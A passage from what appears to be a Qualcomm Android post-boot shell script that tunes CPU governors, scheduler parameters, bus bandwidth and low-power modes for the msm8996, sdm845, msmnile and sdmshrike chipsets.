echo 1 > /proc/sys/kernel/sched_migration_fixup
echo 30 > /proc/sys/kernel/sched_small_task
echo 20 > /proc/sys/kernel/sched_mostly_idle_load
echo 3 > /proc/sys/kernel/sched_mostly_idle_nr_run
echo 99 > /proc/sys/kernel/sched_upmigrate
echo 85 > /proc/sys/kernel/sched_downmigrate
echo 400000 > /proc/sys/kernel/sched_freq_inc_notify
echo 400000 > /proc/sys/kernel/sched_freq_dec_notify
#enable rps static configuration
echo 8 > /sys/class/net/rmnet_ipa0/queues/rx-0/rps_cpus
for devfreq_gov in /sys/class/devfreq/qcom,cpubw*/governor
do
echo "bw_hwmon" > $devfreq_gov
done
;;
esac
case "$target" in
"msm8996")
# disable thermal bcl hotplug to switch governor
echo 0 > /sys/module/msm_thermal/core_control/enabled
echo -n disable > /sys/devices/soc/soc:qcom,bcl/mode
bcl_hotplug_mask=`cat /sys/devices/soc/soc:qcom,bcl/hotplug_mask`
echo 0 > /sys/devices/soc/soc:qcom,bcl/hotplug_mask
bcl_soc_hotplug_mask=`cat /sys/devices/soc/soc:qcom,bcl/hotplug_soc_mask`
echo 0 > /sys/devices/soc/soc:qcom,bcl/hotplug_soc_mask
echo -n enable > /sys/devices/soc/soc:qcom,bcl/mode
# set sync wakee policy tunable
echo 1 > /proc/sys/kernel/sched_prefer_sync_wakee_to_waker
# configure governor settings for little cluster
echo "interactive" > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
echo 1 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/use_sched_load
echo 1 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/use_migration_notif
echo 19000 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/above_hispeed_delay
echo 90 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/go_hispeed_load
echo 20000 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/timer_rate
echo 960000 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/hispeed_freq
echo 1 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/io_is_busy
echo 80 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/target_loads
echo 19000 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/min_sample_time
echo 79000 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/max_freq_hysteresis
echo 300000 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
echo 1 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/ignore_hispeed_on_notif
# online CPU2
echo 1 > /sys/devices/system/cpu/cpu2/online
# configure governor settings for big cluster
echo "interactive" > /sys/devices/system/cpu/cpu2/cpufreq/scaling_governor
echo 1 > /sys/devices/system/cpu/cpu2/cpufreq/interactive/use_sched_load
echo 1 > /sys/devices/system/cpu/cpu2/cpufreq/interactive/use_migration_notif
echo "19000 1400000:39000 1700000:19000 2100000:79000" > /sys/devices/system/cpu/cpu2/cpufreq/interactive/above_hispeed_delay
echo 90 > /sys/devices/system/cpu/cpu2/cpufreq/interactive/go_hispeed_load
echo 20000 > /sys/devices/system/cpu/cpu2/cpufreq/interactive/timer_rate
echo 1248000 > /sys/devices/system/cpu/cpu2/cpufreq/interactive/hispeed_freq
echo 1 > /sys/devices/system/cpu/cpu2/cpufreq/interactive/io_is_busy
echo "85 1500000:90 1800000:70 2100000:95" > /sys/devices/system/cpu/cpu2/cpufreq/interactive/target_loads
echo 19000 > /sys/devices/system/cpu/cpu2/cpufreq/interactive/min_sample_time
echo 79000 > /sys/devices/system/cpu/cpu2/cpufreq/interactive/max_freq_hysteresis
echo 300000 > /sys/devices/system/cpu/cpu2/cpufreq/scaling_min_freq
echo 1 > /sys/devices/system/cpu/cpu2/cpufreq/interactive/ignore_hispeed_on_notif
# re-enable thermal and BCL hotplug
echo 1 > /sys/module/msm_thermal/core_control/enabled
echo -n disable > /sys/devices/soc/soc:qcom,bcl/mode
echo $bcl_hotplug_mask > /sys/devices/soc/soc:qcom,bcl/hotplug_mask
echo $bcl_soc_hotplug_mask > /sys/devices/soc/soc:qcom,bcl/hotplug_soc_mask
echo -n enable > /sys/devices/soc/soc:qcom,bcl/mode
# input boost configuration
echo "0:1324800 2:1324800" > /sys/module/cpu_boost/parameters/input_boost_freq
echo 40 > /sys/module/cpu_boost/parameters/input_boost_ms
# Setting b.L scheduler parameters
echo 0 > /proc/sys/kernel/sched_boost
echo 1 > /proc/sys/kernel/sched_migration_fixup
echo 45 > /proc/sys/kernel/sched_downmigrate
echo 45 > /proc/sys/kernel/sched_upmigrate
echo 400000 > /proc/sys/kernel/sched_freq_inc_notify
echo 400000 > /proc/sys/kernel/sched_freq_dec_notify
echo 3 > /proc/sys/kernel/sched_spill_nr_run
echo 100 > /proc/sys/kernel/sched_init_task_load
# Enable bus-dcvs
for cpubw in /sys/class/devfreq/*qcom,cpubw*
do
echo "bw_hwmon" > $cpubw/governor
echo 50 > $cpubw/polling_interval
echo 1525 > $cpubw/min_freq
echo "1525 5195 11863 13763" > $cpubw/bw_hwmon/mbps_zones
echo 4 > $cpubw/bw_hwmon/sample_ms
echo 34 > $cpubw/bw_hwmon/io_percent
echo 20 > $cpubw/bw_hwmon/hist_memory
echo 10 > $cpubw/bw_hwmon/hyst_length
echo 0 > $cpubw/bw_hwmon/low_power_ceil_mbps
echo 34 > $cpubw/bw_hwmon/low_power_io_percent
echo 20 > $cpubw/bw_hwmon/low_power_delay
echo 0 > $cpubw/bw_hwmon/guard_band_mbps
echo 250 > $cpubw/bw_hwmon/up_scale
echo 1600 > $cpubw/bw_hwmon/idle_mbps
done
for memlat in /sys/class/devfreq/*qcom,memlat-cpu*
do
echo "mem_latency" > $memlat/governor
echo 10 > $memlat/polling_interval
done
echo "cpufreq" > /sys/class/devfreq/soc:qcom,mincpubw/governor
soc_revision=`cat /sys/devices/soc0/revision`
if [ "$soc_revision" == "2.0" ]; then
#Disable suspend for v2.0
echo pwr_dbg > /sys/power/wake_lock
elif [ "$soc_revision" == "2.1" ]; then
# Enable C4.D4.E4.M3 LPM modes
# Disable D3 state
echo 0 > /sys/module/lpm_levels/system/pwr/pwr-l2-gdhs/idle_enabled
echo 0 > /sys/module/lpm_levels/system/perf/perf-l2-gdhs/idle_enabled
# Disable DEF-FPC mode
echo N > /sys/module/lpm_levels/system/pwr/cpu0/fpc-def/idle_enabled
echo N > /sys/module/lpm_levels/system/pwr/cpu1/fpc-def/idle_enabled
echo N > /sys/module/lpm_levels/system/perf/cpu2/fpc-def/idle_enabled
echo N > /sys/module/lpm_levels/system/perf/cpu3/fpc-def/idle_enabled
else
# Enable all LPMs by default
# This will enable C4, D4, D3, E4 and M3 LPMs
echo N > /sys/module/lpm_levels/parameters/sleep_disabled
fi
echo N > /sys/module/lpm_levels/parameters/sleep_disabled
# Starting io prefetcher service
start iop
# Set Memory parameters
configure_memory_parameters
;;
esac
case "$target" in
"sdm845")
# Set the default IRQ affinity to the silver cluster. When a
# CPU is isolated/hotplugged, the IRQ affinity is adjusted
# to one of the CPU from the default IRQ affinity mask.
echo f > /proc/irq/default_smp_affinity
if [ -f /sys/devices/soc0/soc_id ]; then
soc_id=`cat /sys/devices/soc0/soc_id`
else
soc_id=`cat /sys/devices/system/soc/soc0/id`
fi
if [ -f /sys/devices/soc0/hw_platform ]; then
hw_platform=`cat /sys/devices/soc0/hw_platform`
fi
if [ -f /sys/devices/soc0/platform_subtype_id ]; then
platform_subtype_id=`cat /sys/devices/soc0/platform_subtype_id`
fi
case "$soc_id" in
"321" | "341")
# Start Host based Touch processing
case "$hw_platform" in
"QRD" )
case "$platform_subtype_id" in
"32") #QVR845 do nothing
;;
*)
start_hbtp
;;
esac
;;
*)
start_hbtp
;;
esac
;;
esac
# Core control parameters
echo 2 > /sys/devices/system/cpu/cpu4/core_ctl/min_cpus
echo 60 > /sys/devices/system/cpu/cpu4/core_ctl/busy_up_thres
echo 30 > /sys/devices/system/cpu/cpu4/core_ctl/busy_down_thres
echo 100 > /sys/devices/system/cpu/cpu4/core_ctl/offline_delay_ms
echo 1 > /sys/devices/system/cpu/cpu4/core_ctl/is_big_cluster
echo 4 > /sys/devices/system/cpu/cpu4/core_ctl/task_thres
# Setting b.L scheduler parameters
echo 95 > /proc/sys/kernel/sched_upmigrate
echo 85 > /proc/sys/kernel/sched_downmigrate
echo 100 > /proc/sys/kernel/sched_group_upmigrate
echo 95 > /proc/sys/kernel/sched_group_downmigrate
echo 1 > /proc/sys/kernel/sched_walt_rotate_big_tasks
# configure governor settings for little cluster
echo "schedutil" > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
echo 0 > /sys/devices/system/cpu/cpu0/cpufreq/schedutil/rate_limit_us
echo 1209600 > /sys/devices/system/cpu/cpu0/cpufreq/schedutil/hispeed_freq
echo 1 > /sys/devices/system/cpu/cpu0/cpufreq/schedutil/pl
echo 576000 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
# configure governor settings for big cluster
echo "schedutil" > /sys/devices/system/cpu/cpu4/cpufreq/scaling_governor
echo 0 > /sys/devices/system/cpu/cpu4/cpufreq/schedutil/rate_limit_us
echo 1574400 > /sys/devices/system/cpu/cpu4/cpufreq/schedutil/hispeed_freq
echo 1 > /sys/devices/system/cpu/cpu4/cpufreq/schedutil/pl
echo "0:1324800" > /sys/module/cpu_boost/parameters/input_boost_freq
echo 120 > /sys/module/cpu_boost/parameters/input_boost_ms
# Limit the min frequency to 825MHz
echo 825000 > /sys/devices/system/cpu/cpu4/cpufreq/scaling_min_freq
# Enable oom_reaper
echo 1 > /sys/module/lowmemorykiller/parameters/oom_reaper
# Enable bus-dcvs
for cpubw in /sys/class/devfreq/*qcom,cpubw*
do
echo "bw_hwmon" > $cpubw/governor
echo 50 > $cpubw/polling_interval
echo "2288 4577 6500 8132 9155 10681" > $cpubw/bw_hwmon/mbps_zones
echo 4 > $cpubw/bw_hwmon/sample_ms
echo 50 > $cpubw/bw_hwmon/io_percent
echo 20 > $cpubw/bw_hwmon/hist_memory
echo 10 > $cpubw/bw_hwmon/hyst_length
echo 0 > $cpubw/bw_hwmon/guard_band_mbps
echo 250 > $cpubw/bw_hwmon/up_scale
echo 1600 > $cpubw/bw_hwmon/idle_mbps
done
for llccbw in /sys/class/devfreq/*qcom,llccbw*
do
echo "bw_hwmon" > $llccbw/governor
echo 50 > $llccbw/polling_interval
echo "1720 2929 3879 5931 6881" > $llccbw/bw_hwmon/mbps_zones
echo 4 > $llccbw/bw_hwmon/sample_ms
echo 80 > $llccbw/bw_hwmon/io_percent
echo 20 > $llccbw/bw_hwmon/hist_memory
echo 10 > $llccbw/bw_hwmon/hyst_length
echo 0 > $llccbw/bw_hwmon/guard_band_mbps
echo 250 > $llccbw/bw_hwmon/up_scale
echo 1600 > $llccbw/bw_hwmon/idle_mbps
done
#Enable mem_latency governor for DDR scaling
for memlat in /sys/class/devfreq/*qcom,memlat-cpu*
do
echo "mem_latency" > $memlat/governor
echo 10 > $memlat/polling_interval
echo 400 > $memlat/mem_latency/ratio_ceil
done
#Enable mem_latency governor for L3 scaling
for memlat in /sys/class/devfreq/*qcom,l3-cpu*
do
echo "mem_latency" > $memlat/governor
echo 10 > $memlat/polling_interval
echo 400 > $memlat/mem_latency/ratio_ceil
done
#Enable userspace governor for L3 cdsp nodes
for l3cdsp in /sys/class/devfreq/*qcom,l3-cdsp*
do
echo "userspace" > $l3cdsp/governor
chown -h system $l3cdsp/userspace/set_freq
done
#Gold L3 ratio ceil
echo 4000 > /sys/class/devfreq/soc:qcom,l3-cpu4/mem_latency/ratio_ceil
echo "compute" > /sys/class/devfreq/soc:qcom,mincpubw/governor
echo 10 > /sys/class/devfreq/soc:qcom,mincpubw/polling_interval
# cpuset parameters
echo 0-3 > /dev/cpuset/background/cpus
echo 0-3 > /dev/cpuset/system-background/cpus
# Turn off scheduler boost at the end
echo 0 > /proc/sys/kernel/sched_boost
# Disable CPU Retention
echo N > /sys/module/lpm_levels/L3/cpu0/ret/idle_enabled
echo N > /sys/module/lpm_levels/L3/cpu1/ret/idle_enabled
echo N > /sys/module/lpm_levels/L3/cpu2/ret/idle_enabled
echo N > /sys/module/lpm_levels/L3/cpu3/ret/idle_enabled
echo N > /sys/module/lpm_levels/L3/cpu4/ret/idle_enabled
echo N > /sys/module/lpm_levels/L3/cpu5/ret/idle_enabled
echo N > /sys/module/lpm_levels/L3/cpu6/ret/idle_enabled
echo N > /sys/module/lpm_levels/L3/cpu7/ret/idle_enabled
echo N > /sys/module/lpm_levels/L3/l3-dyn-ret/idle_enabled
# Turn on sleep modes.
echo 0 > /sys/module/lpm_levels/parameters/sleep_disabled
echo 100 > /proc/sys/vm/swappiness
echo 120 > /proc/sys/vm/watermark_scale_factor
;;
esac
case "$target" in
"msmnile")
# Core control parameters for gold
echo 2 > /sys/devices/system/cpu/cpu4/core_ctl/min_cpus
echo 60 > /sys/devices/system/cpu/cpu4/core_ctl/busy_up_thres
echo 30 > /sys/devices/system/cpu/cpu4/core_ctl/busy_down_thres
echo 100 > /sys/devices/system/cpu/cpu4/core_ctl/offline_delay_ms
echo 3 > /sys/devices/system/cpu/cpu4/core_ctl/task_thres
# Core control parameters for gold+
echo 0 > /sys/devices/system/cpu/cpu7/core_ctl/min_cpus
echo 60 > /sys/devices/system/cpu/cpu7/core_ctl/busy_up_thres
echo 30 > /sys/devices/system/cpu/cpu7/core_ctl/busy_down_thres
echo 100 > /sys/devices/system/cpu/cpu7/core_ctl/offline_delay_ms
echo 1 > /sys/devices/system/cpu/cpu7/core_ctl/task_thres
# Controls how many more tasks should be eligible to run on gold CPUs
# w.r.t number of gold CPUs available to trigger assist (max number of
# tasks eligible to run on previous cluster minus number of CPUs in
# the previous cluster).
#
# Setting to 1 by default which means there should be at least
# 4 tasks eligible to run on gold cluster (tasks running on gold cores
# plus misfit tasks on silver cores) to trigger assitance from gold+.
echo 1 > /sys/devices/system/cpu/cpu7/core_ctl/nr_prev_assist_thresh
# Disable Core control on silver
echo 0 > /sys/devices/system/cpu/cpu0/core_ctl/enable
# Setting b.L scheduler parameters
echo 95 95 > /proc/sys/kernel/sched_upmigrate
echo 85 85 > /proc/sys/kernel/sched_downmigrate
echo 100 > /proc/sys/kernel/sched_group_upmigrate
echo 10 > /proc/sys/kernel/sched_group_downmigrate
echo 1 > /proc/sys/kernel/sched_walt_rotate_big_tasks
# cpuset parameters
echo 0-3 > /dev/cpuset/background/cpus
echo 0-3 > /dev/cpuset/system-background/cpus
# Turn off scheduler boost at the end
echo 0 > /proc/sys/kernel/sched_boost
# configure governor settings for silver cluster
echo "schedutil" > /sys/devices/system/cpu/cpufreq/policy0/scaling_governor
echo 0 > /sys/devices/system/cpu/cpufreq/policy0/schedutil/up_rate_limit_us
echo 0 > /sys/devices/system/cpu/cpufreq/policy0/schedutil/down_rate_limit_us
echo 1209600 > /sys/devices/system/cpu/cpufreq/policy0/schedutil/hispeed_freq
echo 576000 > /sys/devices/system/cpu/cpufreq/policy0/scaling_min_freq
echo 1 > /sys/devices/system/cpu/cpufreq/policy0/schedutil/pl
# configure governor settings for gold cluster
echo "schedutil" > /sys/devices/system/cpu/cpufreq/policy4/scaling_governor
echo 0 > /sys/devices/system/cpu/cpufreq/policy4/schedutil/up_rate_limit_us
echo 0 > /sys/devices/system/cpu/cpufreq/policy0/schedutil/down_rate_limit_us
echo 1612800 > /sys/devices/system/cpu/cpufreq/policy4/schedutil/hispeed_freq
echo 1 > /sys/devices/system/cpu/cpufreq/policy4/schedutil/pl
# configure governor settings for gold+ cluster
echo "schedutil" > /sys/devices/system/cpu/cpufreq/policy7/scaling_governor
echo 0 > /sys/devices/system/cpu/cpufreq/policy7/schedutil/up_rate_limit_us
echo 0 > /sys/devices/system/cpu/cpufreq/policy0/schedutil/down_rate_limit_us
echo 1612800 > /sys/devices/system/cpu/cpufreq/policy7/schedutil/hispeed_freq
echo 1 > /sys/devices/system/cpu/cpufreq/policy7/schedutil/pl
# configure input boost settings
echo "0:1324800" > /sys/module/cpu_boost/parameters/input_boost_freq
echo 120 > /sys/module/cpu_boost/parameters/input_boost_ms
# Disable wsf, beacause we are using efk.
# wsf Range : 1..1000 So set to bare minimum value 1.
echo 1 > /proc/sys/vm/watermark_scale_factor
echo 0-3 > /dev/cpuset/background/cpus
echo 0-3 > /dev/cpuset/system-background/cpus
# Enable oom_reaper
if [ -f /sys/module/lowmemorykiller/parameters/oom_reaper ]; then
echo 1 > /sys/module/lowmemorykiller/parameters/oom_reaper
else
echo 1 > /proc/sys/vm/reap_mem_on_sigkill
fi
# Enable bus-dcvs
for device in /sys/devices/platform/soc
do
for cpubw in $device/*cpu-cpu-llcc-bw/devfreq/*cpu-cpu-llcc-bw
do
echo "bw_hwmon" > $cpubw/governor
echo 40 > $cpubw/polling_interval
echo "2288 4577 7110 9155 12298 14236 15258" > $cpubw/bw_hwmon/mbps_zones
echo 4 > $cpubw/bw_hwmon/sample_ms
echo 50 > $cpubw/bw_hwmon/io_percent
echo 20 > $cpubw/bw_hwmon/hist_memory
echo 10 > $cpubw/bw_hwmon/hyst_length
echo 30 > $cpubw/bw_hwmon/down_thres
echo 0 > $cpubw/bw_hwmon/guard_band_mbps
echo 250 > $cpubw/bw_hwmon/up_scale
echo 1600 > $cpubw/bw_hwmon/idle_mbps
echo 14236 > $cpubw/max_freq
done
for llccbw in $device/*cpu-llcc-ddr-bw/devfreq/*cpu-llcc-ddr-bw
do
echo "bw_hwmon" > $llccbw/governor
echo 40 > $llccbw/polling_interval
echo "1720 2929 3879 5931 6881 7980" > $llccbw/bw_hwmon/mbps_zones
echo 4 > $llccbw/bw_hwmon/sample_ms
echo 80 > $llccbw/bw_hwmon/io_percent
echo 20 > $llccbw/bw_hwmon/hist_memory
echo 10 > $llccbw/bw_hwmon/hyst_length
echo 30 > $llccbw/bw_hwmon/down_thres
echo 0 > $llccbw/bw_hwmon/guard_band_mbps
echo 250 > $llccbw/bw_hwmon/up_scale
echo 1600 > $llccbw/bw_hwmon/idle_mbps
echo 6881 > $llccbw/max_freq
done
for npubw in $device/*npu-npu-ddr-bw/devfreq/*npu-npu-ddr-bw
do
echo 1 > /sys/devices/virtual/npu/msm_npu/pwr
echo "bw_hwmon" > $npubw/governor
echo 40 > $npubw/polling_interval
echo "1720 2929 3879 5931 6881 7980" > $npubw/bw_hwmon/mbps_zones
echo 4 > $npubw/bw_hwmon/sample_ms
echo 80 > $npubw/bw_hwmon/io_percent
echo 20 > $npubw/bw_hwmon/hist_memory
echo 6 > $npubw/bw_hwmon/hyst_length
echo 30 > $npubw/bw_hwmon/down_thres
echo 0 > $npubw/bw_hwmon/guard_band_mbps
echo 250 > $npubw/bw_hwmon/up_scale
echo 0 > $npubw/bw_hwmon/idle_mbps
echo 0 > /sys/devices/virtual/npu/msm_npu/pwr
done
#Enable mem_latency governor for L3, LLCC, and DDR scaling
for memlat in $device/*cpu*-lat/devfreq/*cpu*-lat
do
echo "mem_latency" > $memlat/governor
echo 10 > $memlat/polling_interval
echo 400 > $memlat/mem_latency/ratio_ceil
done
#Enable userspace governor for L3 cdsp nodes
for l3cdsp in $device/*cdsp-cdsp-l3-lat/devfreq/*cdsp-cdsp-l3-lat
do
echo "cdspl3" > $l3cdsp/governor
done
#Enable compute governor for gold latfloor
for latfloor in $device/*cpu-ddr-latfloor*/devfreq/*cpu-ddr-latfloor*
do
echo "compute" > $latfloor/governor
echo 10 > $latfloor/polling_interval
done
#Gold L3 ratio ceil
for l3gold in $device/*cpu4-cpu-l3-lat/devfreq/*cpu4-cpu-l3-lat
do
echo 4000 > $l3gold/mem_latency/ratio_ceil
done
#Prime L3 ratio ceil
for l3prime in $device/*cpu7-cpu-l3-lat/devfreq/*cpu7-cpu-l3-lat
do
echo 20000 > $l3prime/mem_latency/ratio_ceil
done
done
if [ -f /sys/devices/soc0/hw_platform ]; then
hw_platform=`cat /sys/devices/soc0/hw_platform`
else
hw_platform=`cat /sys/devices/system/soc/soc0/hw_platform`
fi
if [ -f /sys/devices/soc0/platform_subtype_id ]; then
platform_subtype_id=`cat /sys/devices/soc0/platform_subtype_id`
fi
case "$hw_platform" in
"MTP" | "Surf" | "RCM" )
# Start Host based Touch processing
case "$platform_subtype_id" in
"0" | "1" | "2" | "4")
start_hbtp
;;
esac
;;
"HDK" )
if [ -d /sys/kernel/hbtpsensor ] ; then
start_hbtp
fi
;;
esac
echo 0 > /sys/module/lpm_levels/parameters/sleep_disabled
configure_memory_parameters
;;
esac
case "$target" in
"sdmshrike")
# Core control parameters for gold
echo 2 > /sys/devices/system/cpu/cpu4/core_ctl/min_cpus
echo 60 > /sys/devices/system/cpu/cpu4/core_ctl/busy_up_thres
echo 30 > /sys/devices/system/cpu/cpu4/core_ctl/busy_down_thres
echo 100 > /sys/devices/system/cpu/cpu4/core_ctl/offline_delay_ms
echo 3 > /sys/devices/system/cpu/cpu4/core_ctl/task_thres
# Core control parameters for gold+
echo 0 > /sys/devices/system/cpu/cpu7/core_ctl/min_cpus
echo 60 > /sys/devices/system/cpu/cpu7/core_ctl/busy_up_thres
echo 30 > /sys/devices/system/cpu/cpu7/core_ctl/busy_down_thres
echo 100 > /sys/devices/system/cpu/cpu7/core_ctl/offline_delay_ms
echo 1 > /sys/devices/system/cpu/cpu7/core_ctl/task_thres
# Controls how many more tasks should be eligible to run on gold CPUs
# w.r.t number of gold CPUs available to trigger assist (max number of
# tasks eligible to run on previous cluster minus number of CPUs in
# the previous cluster).
#
# Setting to 1 by default which means there should be at least
# 4 tasks eligible to run on gold cluster (tasks running on gold cores
# plus misfit tasks on silver cores) to trigger assitance from gold+.
echo 1 > /sys/devices/system/cpu/cpu7/core_ctl/nr_prev_assist_thresh
# Disable Core control on silver
echo 0 > /sys/devices/system/cpu/cpu0/core_ctl/enable
# Setting b.L scheduler parameters
echo 95 95 > /proc/sys/kernel/sched_upmigrate
echo 85 85 > /proc/sys/kernel/sched_downmigrate
echo 100 > /proc/sys/kernel/sched_group_upmigrate
echo 10 > /proc/sys/kernel/sched_group_downmigrate
echo 1 > /proc/sys/kernel/sched_walt_rotate_big_tasks
# cpuset parameters
echo 0-3 > /dev/cpuset/background/cpus
echo 0-3 > /dev/cpuset/system-background/cpus
# Turn off scheduler boost at the end
echo 0 > /proc/sys/kernel/sched_boost
# configure governor settings for silver cluster
echo "schedutil" > /sys/devices/system/cpu/cpufreq/policy0/scaling_governor
echo 0 > /sys/devices/system/cpu/cpufreq/policy0/schedutil/up_rate_limit_us
echo 0 > /sys/devices/system/cpu/cpufreq/policy0/schedutil/down_rate_limit_us
echo 1209600 > /sys/devices/system/cpu/cpufreq/policy0/schedutil/hispeed_freq
echo 576000 > /sys/devices/system/cpu/cpufreq/policy0/scaling_min_freq
echo 1 > /sys/devices/system/cpu/cpufreq/policy0/schedutil/pl
# configure governor settings for gold cluster
echo "schedutil" > /sys/devices/system/cpu/cpufreq/policy4/scaling_governor
echo 0 > /sys/devices/system/cpu/cpufreq/policy4/schedutil/up_rate_limit_us
echo 0 > /sys/devices/system/cpu/cpufreq/policy4/schedutil/down_rate_limit_us
echo 1612800 > /sys/devices/system/cpu/cpufreq/policy4/schedutil/hispeed_freq
echo 1 > /sys/devices/system/cpu/cpufreq/policy4/schedutil/pl
# configure governor settings for gold+ cluster
echo "schedutil" > /sys/devices/system/cpu/cpufreq/policy7/scaling_governor
echo 0 > /sys/devices/system/cpu/cpufreq/policy7/schedutil/up_rate_limit_us
echo 0 > /sys/devices/system/cpu/cpufreq/policy7/schedutil/down_rate_limit_us
echo 1612800 > /sys/devices/system/cpu/cpufreq/policy7/schedutil/hispeed_freq
echo 1 > /sys/devices/system/cpu/cpufreq/policy7/schedutil/pl
# configure input boost settings
echo "0:1324800" > /sys/module/cpu_boost/parameters/input_boost_freq
echo 120 > /sys/module/cpu_boost/parameters/input_boost_ms
# Disable wsf, beacause we are using efk.
# wsf Range : 1..1000 So set to bare minimum value 1.
echo 1 > /proc/sys/vm/watermark_scale_factor
echo 0-3 > /dev/cpuset/background/cpus
echo 0-3 > /dev/cpuset/system-background/cpus
# Enable oom_reaper
if [ -f /sys/module/lowmemorykiller/parameters/oom_reaper ]; then
echo 1 > /sys/module/lowmemorykiller/parameters/oom_reaper
else
echo 1 > /proc/sys/vm/reap_mem_on_sigkill
fi
# Enable bus-dcvs
for device in /sys/devices/platform/soc
do
for cpubw in $device/*cpu-cpu-llcc-bw/devfreq/*cpu-cpu-llcc-bw
do
echo "bw_hwmon" > $cpubw/governor
echo 40 > $cpubw/polling_interval
echo "2288 4577 7110 9155 12298 14236 15258" > $cpubw/bw_hwmon/mbps_zones
echo 4 > $cpubw/bw_hwmon/sample_ms
echo 50 > $cpubw/bw_hwmon/io_percent
echo 20 > $cpubw/bw_hwmon/hist_memory
echo 10 > $cpubw/bw_hwmon/hyst_length
echo 30 > $cpubw/bw_hwmon/down_thres
echo 0 > $cpubw/bw_hwmon/guard_band_mbps
echo 250 > $cpubw/bw_hwmon/up_scale
echo 1600 > $cpubw/bw_hwmon/idle_mbps
echo 14236 > $cpubw/max_freq
done
for llccbw in $device/*cpu-llcc-ddr-bw/devfreq/*cpu-llcc-ddr-bw
do
echo "bw_hwmon" > $llccbw/governor
echo 40 > $llccbw/polling_interval
echo "1720 2929 3879 5931 6881 7980" > $llccbw/bw_hwmon/mbps_zones
echo 4 > $llccbw/bw_hwmon/sample_ms
echo 80 > $llccbw/bw_hwmon/io_percent
echo 20 > $llccbw/bw_hwmon/hist_memory
echo 10 > $llccbw/bw_hwmon/hyst_length
echo 30 > $llccbw/bw_hwmon/down_thres
echo 0 > $llccbw/bw_hwmon/guard_band_mbps
echo 250 > $llccbw/bw_hwmon/up_scale
echo 1600 > $llccbw/bw_hwmon/idle_mbps
echo 6881 > $llccbw/max_freq
done
for npubw in $device/*npu-npu-ddr-bw/devfreq/*npu-npu-ddr-bw
do
echo 1 > /sys/devices/virtual/npu/msm_npu/pwr
echo "bw_hwmon" > $npubw/governor
echo 40 > $npubw/polling_interval
echo "1720 2929 3879 5931 6881 7980" > $npubw/bw_hwmon/mbps_zones
echo 4 > $npubw/bw_hwmon/sample_ms
echo 80 > $npubw/bw_hwmon/io_percent
echo 20 > $npubw/bw_hwmon/hist_memory
echo 6 > $npubw/bw_hwmon/hyst_length
echo 30 > $npubw/bw_hwmon/down_thres
echo 0 > $npubw/bw_hwmon/guard_band_mbps
echo 250 > $npubw/bw_hwmon/up_scale
echo 0 > $npubw/bw_hwmon/idle_mbps
echo 0 > /sys/devices/virtual/npu/msm_npu/pwr
done
#Enable mem_latency governor for L3, LLCC, and DDR scaling
for memlat in $device/*cpu*-lat/devfreq/*cpu*-lat
do
echo "mem_latency" > $memlat/governor
echo 10 > $memlat/polling_interval
echo 400 > $memlat/mem_latency/ratio_ceil
done
#Enable userspace governor for L3 cdsp nodes
for l3cdsp in $device/*cdsp-cdsp-l3-lat/devfreq/*cdsp-cdsp-l3-lat
do
echo "cdspl3" > $l3cdsp/governor
done
#Enable compute governor for gold latfloor
for latfloor in $device/*cpu-ddr-latfloor*/devfreq/*cpu-ddr-latfloor*
do
echo "compute" > $latfloor/governor
echo 10 > $latfloor/polling_interval
done
#Gold L3 ratio ceil
for l3gold in $device/*cpu4-cpu-l3-lat/devfreq/*cpu4-cpu-l3-lat
do
echo 4000 > $l3gold/mem_latency/ratio_ceil
done
#Prime L3 ratio ceil
for l3prime in $device/*cpu7-cpu-l3-lat/devfreq/*cpu7-cpu-l3-lat
do
echo 20000 > $l3prime/mem_latency/ratio_ceil
done
done
if [ -f /sys/devices/soc0/hw_platform ]; then
hw_platform=`cat /sys/devices/soc0/hw_platform`
else
hw_platform=`cat /sys/devices/system/soc/soc0/hw_platform`
fi
if [ -f /sys/devices/soc0/platform_subtype_id ]; then
platform_subtype_id=`cat /sys/devices/soc0/platform_subtype_id`
fi
case "$hw_platform" in
"MTP" | "Surf" | "RCM" )
# Start Host based Touch processing
case "$platform_subtype_id" in
"0" | "1")
start_hbtp
;;
esac
;;
"HDK" )
if [ -d /sys/kernel/hbtpsensor ] ; then
start_hbtp
fi
;;
esac
#Setting the min and max supported frequencies
reg_val=`cat /sys/devices/platform/soc/780130.qfprom/qfprom0/nvmem | od -An -t d4`
feature_id=$(((reg_val >> 20) & 0xFF))
#Setting the min supported frequencies
echo 1113600 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
echo 1113600 > /sys/devices/system/cpu/cpu1/cpufreq/scaling_min_freq
echo 1113600 > /sys/devices/system/cpu/cpu2/cpufreq/scaling_min_freq
echo 1113600 > /sys/devices/system/cpu/cpu3/cpufreq/scaling_min_freq
echo 1171200 > /sys/devices/system/cpu/cpu4/cpufreq/scaling_min_freq
echo 1171200 > /sys/devices/system/cpu/cpu5/cpufreq/scaling_min_freq
echo 1171200 > /sys/devices/system/cpu/cpu6/cpufreq/scaling_min_freq
echo 1171200 > /sys/devices/system/cpu/cpu7/cpufreq/scaling_min_freq
#setting min gpu freq to 392 MHz
echo 4 > /sys/class/kgsl/kgsl-3d0/min_pwrlevel
if [ $feature_id == 0 ]; then
echo "feature_id is 0 for SA8185P"
#setting max gpu freq to 530 MHz
echo 3 > /sys/class/kgsl/kgsl-3d0/max_pwrlevel
echo {class:ddr, res:fixed, val: 1804} > /sys/kernel/debug/aop_send_message
elif [ $feature_id == 1 ]; then
echo "feature_id is 1 for SA8195P"
#setting max gpu freq to 670 MHz
echo 0 > /sys/class/kgsl/kgsl-3d0/max_pwrlevel
echo {class:ddr, res:fixed, val: 2092} > /sys/kernel/debug/aop_send_message
else
echo "unknown feature_id value" $feature_id
fi
echo 0 > /sys/module/lpm_levels/parameters/sleep_disabled
configure_memory_parameters
;;
esac
case "$target" in
"kona")
